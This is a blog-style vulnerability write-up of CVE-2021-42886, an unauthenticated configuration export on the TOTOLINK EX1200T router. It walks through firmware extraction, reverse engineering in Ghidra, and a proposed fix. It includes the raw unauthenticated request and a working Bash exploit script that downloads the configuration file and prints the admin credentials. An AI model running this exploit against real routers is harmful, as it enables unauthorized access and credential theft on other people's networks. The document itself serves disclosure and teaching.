CVE-2021-42886: TOTOLINK EX1200T Information disclosure vulnerability
Introduction
A vulnerability discovered in TOTOLINK EX1200T
model known as CVE-2021-42886
which lead to a leak of configurations file to unauthorized user, as a results anyone exploit this vulnerability can get the user name and password of the device. Note:(Everything you obtain here is for educational purposes, Don't use or abuse any bug against any target without permissions
)
Obtaining the Firmware
Before we start we would need the firmware of the device, Therefore We can take a static look at the code and how it works to understand more. So, what we need is the vulnerable Firmware for the device which is V4.1.2cu.5215
and we have many ways to do it:
-
You can search for the firmware on the official website for the vendor.
-
Download it from any other source (after someone already dump it from the device and published it).
-
Dump the firmware through
UART
, You could read a detailed blog from Here. -
Also, you could contact the support to provide you with the firmware.
-
Finally dumping the firmware using
CH341A
Mini programmer USB, You could read a detailed blog from Here.
In my case, I found the firmware on the vendor website. Now, Let’s extract the firmware using binwalk
tool as the following binwalk -e --run-as=root "TOTOLINK_C8180E-1C_EX1200T_WX022_8197F_SPI_8M64M_V4.1.2cu.5215_B20210330_ALL.web"
and here is the output:
$ ls
TOTOLINK_C8180E-1C_EX1200T_WX022_8197F_SPI_8M64M_V4.1.2cu.5215_B20210330_ALL.web
$ sudo binwalk -e --run-as=root "TOTOLINK_C8180E-1C_EX1200T_WX022_8197F_SPI_8M64M_V4.1.2cu.5215_B20210330_ALL.web"
[sudo] password for azima:
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
76 0x4C JFFS2 filesystem, little endian
209052 0x3309C Zlib compressed data, compressed
209388 0x331EC Zlib compressed data, compressed
210144 0x334E0 Zlib compressed data, compressed
210832 0x33790 JFFS2 filesystem, little endian
231428 0x38804 Zlib compressed data, compressed
231988 0x38A34 Zlib compressed data, compressed
232548 0x38C64 Zlib compressed data, compressed
233116 0x38E9C Zlib compressed data, compressed
233560 0x39058 JFFS2 filesystem, little endian
254344 0x3E188 Zlib compressed data, compressed
254696 0x3E2E8 JFFS2 filesystem, little endian
255224 0x3E4F8 Zlib compressed data, compressed
256064 0x3E840 JFFS2 filesystem, little endian
321636 0x4E864 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 6526520 bytes
And as i am using Windows Subsystem Linux (WSL)
, Here we can browser our firmware normally:
The Analysis
When we first open the /cgi-bin
directory under the web_cste
folder we can see the following shell
files:
ExportIbmsConfig.sh
ExportSettings.sh
ExportSyslog.sh
The file we want to take a look at is ExportSettings.sh
#!/bin/sh
#output HTTP header
eval `flash get HARDWARE_MODEL`
dateStr=`date '+%Y%m%d'`
filename=\"Config-$HARDWARE_MODEL-$dateStr.dat\"
echo "Pragma: no-cache\n"
echo "Cache-control: no-cache\n"
echo "Content-type: application/octet-stream"
echo "Content-Transfer-Encoding: binary" # "\n" make Un*x happy
echo "Content-Disposition: attachment; $filename"
echo ""
cat /var/config.dat 2>/dev/null
the flash
command to get the value of the HARDWARE_MODEL
environment variable and then uses the eval
command to set that value as a shell variable, dateStr
is a variable to the current date in the format YYYYMMDD
, filename
is a variable to a string that includes the hardware model and date in the format Config-HARDWARE_MODEL-YYYYMMDD.dat.
.
echo "Pragma: no-cache\n"
echo "Cache-control: no-cache\n"
echo "Content-type: application/octet-stream"
echo "Content-Transfer-Encoding: binary"
echo "Content-Disposition: attachment; $filename"
echo ""
The above lines are output of the HTTP headers for the response, They set various headers like Pragma
, Cache-control
, Content-type
, Content-Transfer-Encoding
, and Content-Disposition
with the filename
set to the filename
variable defined before. As we can see it’s obvious that the file is used to extract the current device settings & configurations, Which contains the Username
& Password
. Now, Let’s go to Burp Suite
and request the file /cgi-bin/ExportSettings.sh
:
As we ca see in the screenshot of, When we requested the file, It response us back with the same headers which contains the .dat
file name.
When we request the file it will show us a redirect status (302
code) and when we follow the redirect it will show us that the file is not found. Now, If we navigate to the admin panel and go to system configuration
tab to export configuration it will work. As we have the requests of the process in Burp Suite
, We can notice the following request:
GET /cgi-bin/cstecgi.cgi?action=save&setting HTTP/1.1
Host: 192.168.0.254
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Connection: close
Cache-Control: max-age=0
The request doesn’t need any authentication or authorization or even check for the session when you request it. So, basically when you request this link it will generate the configuration file and you can download it. Let’s take a look on how this file get generated. Let’s go with Ghidra
and reverse the cstecgi.cgi
file. Now, By going to the file and check it with the file
command, We can see it’s an ELF 32bit MIPS
file:
Open it and create a new project i named it EX1200T
for the device name and drop the cstecgi.cgi
file into the project:
After that open the file using Code Browser
within Ghidra
:
Then, analysis the file:
Navigating to Symbol Tree
and let’s check out the functions:
After going through the functions clearly inside FUN_00400dd8
function we can see the following lines of codes. But, there is no thing interesting and it’s all about functions calling other functions:
We just can see that httpStatus
, redirectURL
& responseParam
being passed to some unclear functions. But, You can see under \squashfs-root\lib\cste_modules
folder that there are libraries named as the following:
app.so
cloudupdate.so
global.so
lan.so
product.so
system.so
upgrade.so
wireless.so
wps.so
After reversing this libraries you will know that it’s clearly used by the cstecgi.cgi
to perform different operations and changes through the device panel. Let’s identify which one perform the export for the configuration process by searching through the following Bash
one liner using strings
command:
for i in $(ls -la | awk '{print $9}' | grep ".so"); do echo ""; echo "Lib Name: $i"; strings $i | grep "Config"; done
The above line will print the library name after this will run the strings
command on the library to get any string has the word Config
and will print the results under the library name. Therefore, we will be able to know which library contains the Config
process or anything related. Command output:
Lib Name: app.so
getAppStatusConfig
getAppEasyWizardConfig
setAppEasyWizardConfig
getAppWanConfig
setAppWanConfig
getAppWiFiConfig
setAppWiFiConfig
getAppMultiApConfig
setAppMultiApConfig
'getAppStatusConfig
getAppEasyWizardConfig
setAppEasyWizardConfig
getAppWanConfig
setAppWanConfig
getAppWiFiConfig
setAppWiFiConfig
getAppMultiApConfig
setAppMultiApConfig
Lib Name: cloudupdate.so
Lib Name: global.so
getSaveConfig
getInitConfig
setWanDnsConfig
getSaveConfig
getInitConfig
cp /web_cste/config.dat /web_cste/Config-%s-%s.dat
,"redirectURL":"http://%s/Config-%s-%s.dat"}
Lib Name: lan.so
setLanConfig
getLanConfig
setStaticDhcpConfig
delStaticDhcpConfig
getStaticDhcpConfig
'setLanConfig
getLanConfig
setStaticDhcpConfig
delStaticDhcpConfig
getStaticDhcpConfig
Lib Name: product.so
Lib Name: system.so
getMiniUPnPConfig
setMiniUPnPConfig
getMiniUPnPConfig
setMiniUPnPConfig
Lib Name: upgrade.so
MM_ConfigFileInvalid
MM_ConfigSizeErr
MM_ConfigFileErr
Lib Name: wireless.so
setWiFiBasicConfig
getWiFiBasicConfig
setWiFiAdvancedConfig
getWiFiAdvancedConfig
setWiFiMultipleConfig
getWiFiMultipleConfig
delWiFiMultipleConfig
getWiFiAclAddConfig
setWiFiAclAddConfig
setWiFiAclDeleteConfig
getWiFiWdsAddConfig
setWiFiWdsAddConfig
setWiFiWdsDeleteConfig
getWiFiRepeaterConfig
setWiFiRepeaterConfig
getWiFiScheduleConfig
setWiFiScheduleConfig
getWiFiApConfig
setWiFiApConfig
getWiFiExtenderConfig
setWiFiExtenderConfig
setWiFiBasicConfig
getWiFiBasicConfig
setWiFiAdvancedConfig
getWiFiAdvancedConfig
setWiFiMultipleConfig
getWiFiMultipleConfig
delWiFiMultipleConfig
getWiFiAclAddConfig
setWiFiAclAddConfig
setWiFiAclDeleteConfig
getWiFiWdsAddConfig
setWiFiWdsAddConfig
setWiFiWdsDeleteConfig
getWiFiRepeaterConfig
setWiFiRepeaterConfig
getWiFiScheduleConfig
setWiFiScheduleConfig
getWiFiApConfig
setWiFiApConfig
getWiFiExtenderConfig
setWiFiExtenderConfig
Lib Name: wps.so
setWiFiWpsConfig
getWiFiWpsConfig
getWiFiWpsSetupConfig
setWiFiWpsSetupConfig
setWiFiWpsConfig
getWiFiWpsConfig
getWiFiWpsSetupConfig
setWiFiWpsSetupConfig
And as we can see that there are tons of it’s with-in the libraries and after a lot of search i found it under the global.so
library, As we did with the cstecgi.cgi
file. Let’s do the same with the library using Ghidra
. After opening the Functions
tab under Symbol Tree
we can notice the getSaveConfig
function:
So, We can say the save configuration process is as the following:
Now, Let’s navigate to the function and understand what this function do and how it works. First the function start by taking 3 parameters:
undefined4 getSaveConfig(undefined4 param_1,undefined4 param_2,undefined4 param_3)
After that the rest of the code is declaring of variables until we reach the line number 65
:
The save_cs_to_file();
is a call for external function and then __src which storing the value retrieved with http_host
from the http request and the ""
value will be used if the requested variable is not found which refers to the device hostname/ip, After that there is an IF
condition which checks if the first character of __src
is null character or no, If that true it will call a function named getLanIp()
and from it’s name we can guess it’s getting the IP address for the device NIC
. Everything is clear it checks for the Hostname or IP
. Finally, if it’s not empty then it will copy the __src
value to the local_c8
which also could be a hostname. Now, let’s rename the variables as we know it’s usage. Moving to the following lines:
Here, It assigns the status of request to the acSTack_10C8
we can rename it to reqResponse
. And the response will redirect the user. Then, It gets the length of reqResponse
and assign it to sVar1
. the call for the apmib_get()
function is for retrieving a value from a data structure and storing it in the local_x
variables. After that opens the file config.dat
in append mode and assigns a file pointer to the variable __s
, We can rename it to configFile
.
By moving to the following lines, It checks if the file cannot be opened then it will print error massege, If the file is opened successfully, The code writes a single byte DAT_0001dc0c
to the file,followed by the contents of the local_38
variable.Then closing the file after this, The code then retrieves the current date using the date
command and formats it as a string in local_88
. Then using the sprintf()
function to create a system command that copies the config.dat
file to a new file named Config-[local_a8]-[local_88].dat
, Finally the command executed using the system()
function as it saved in acStack_78
. Now, we understand how the file is created and as we can send the unauthorized request to create it, Let’s do it and take a look on the file.
Here we sent the request, you can see in the response it’s redirect to the location of the file configuration file, If we follow the request we can see the file contents:
Now, Let’s download the file normally and extract the strings from it using strings
command.
As we can see when we run strings command we can notice the !admin
string and below it we can notice the !1337
. And normally it looks like the admin
which is the user and 1337
which is the password & the !
sign coming from the file. If we take a look again by printing the line number of each string we got, You can see clearly that the username and password got the 6th
& 7th
lines.
Now, Let’s automate the process using Bash
script to exploit it and print out the user name and password.
#!/bin/bash
ip=$1
url="http://${ip}/cgi-bin/cstecgi.cgi?action=save&setting"
echo "[*] Target: $ip"
echo "[+] Sending creation request...."
response=$(curl -i -X GET $url \
-H "Host: ${ip}" \
-H 'Accept-Encoding: gzip, deflate' \
-H 'Accept: */*' \
-H 'Accept-Language: en-US;q=0.9,en;q=0.8' \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36' \
-H 'Connection: close' \
-H 'Cache-Control: max-age=0' \
--max-redirs 0)
echo "[+] Creation Request Sent"
location_header=$(echo "$response" | grep -i location | awk '{print $2}' | tr -d '\r')
new_url=$(echo "$location_header")
file_name=$(echo "$location_header" | awk -F "/" '{print $4}')
if [[ ! -z "$new_url" ]]; then
echo "[+] Requesting the File......"
response_body=$(curl -s -X GET "$new_url" \
-H "Host: ${ip}" \
-H 'Accept-Encoding: gzip, deflate' \
-H 'Accept: */*' \
-H 'Accept-Language: en-US;q=0.9,en;q=0.8' \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36' \
-H 'Connection: close' \
-H 'Cache-Control: max-age=0')
echo "[+] File Requested"
echo "$response_body" >> $file_name
echo "[+] File saved to $file_name"
echo "[*] Username and Password:"
echo "$response_body" | strings | sed -n '6,7p' | sed 's/\!//g'
fi
Basically, Our script will take a target as an argument and then send the creation request of the configuration file, After that it will take the value of Location
header to location_header
and save it to new_url
. The, Cut the url in the Location
header which is the configuration file url and take the file name & save it to file_name
variable, Finally, It sends the request to the file url and save it to the file name on the disk and filter out the username and password. Now, It’s the time to use it:
Final Thoughts
The developer shall always check for the user session before performing any kinds of request and if the user’s session is valid or no, Another thing is to delete the configuration file from the web directory as it will be open for anyone to download it. So, the final code can be as the following:
Host = (char *)websGetVar(param_2,"http_host","");
if (*Host == '\0') {
getLanIp(&deviceIP);
}
else {
strcpy((char *)&deviceIP,Host);
}
snprintf(reqResponse,0x1000,"{\"httpStatus\":\"%s\",\"host\":\"%s\"","302",(char *)&deviceIP);
sVar1 = strlen(reqResponse);
apmib_get(0x4655,&local_a8);
apmib_get(0x1bbe,&local_38);
if (userSession){
__s = fopen("/web_cste/config.dat","ab");
if (__s == (FILE *)0x0) {
perror("fopen");
uVar2 = 0;
}
else {
fwrite(&DAT_0001dc0c,1,1,__s);
__size = strlen((char *)&local_38);
fwrite(&local_38,__size,1,__s);
fclose(__s);
getCmdStr("date \'+%Y%m%d\'",&local_88,0x10);
sprintf(acStack_78,"cp /web_cste/config.dat /web_cste/Config-%s-%s.dat",(char *)&local_a8,
(char *)&local_88);
system(acStack_78);
snprintf(reqResponse + sVar1,0x1000 - sVar1,",\"redirectURL\":\"http://%s/Config-%s-%s.dat\"}",
(char *)&deviceIP,(char *)&local_a8,(char *)&local_88);
uVar2 = websGetCfgResponse(param_1,param_3,reqResponse);
}
return uVar2;
} else {
exit(1);
}
}
Now, it will check for the user session if it’s valid it will complete in creating the file and send back a valid response to the user, If not then it will exit the function.
Conclusion
We have seen the analysis for the CVE-2021-42886
, How the configurations file is created for the user to save as a backup, The importance of using encryption method to prove the confidentiality of the data and highlighted the mistakes made by the developer.
References
-
https://www.totolink.net/home/news/me_name/id/39/menu_listtpl/DownloadC.html
-
https://ghidra-sre.org/
#CVE-2021-42886 #totolink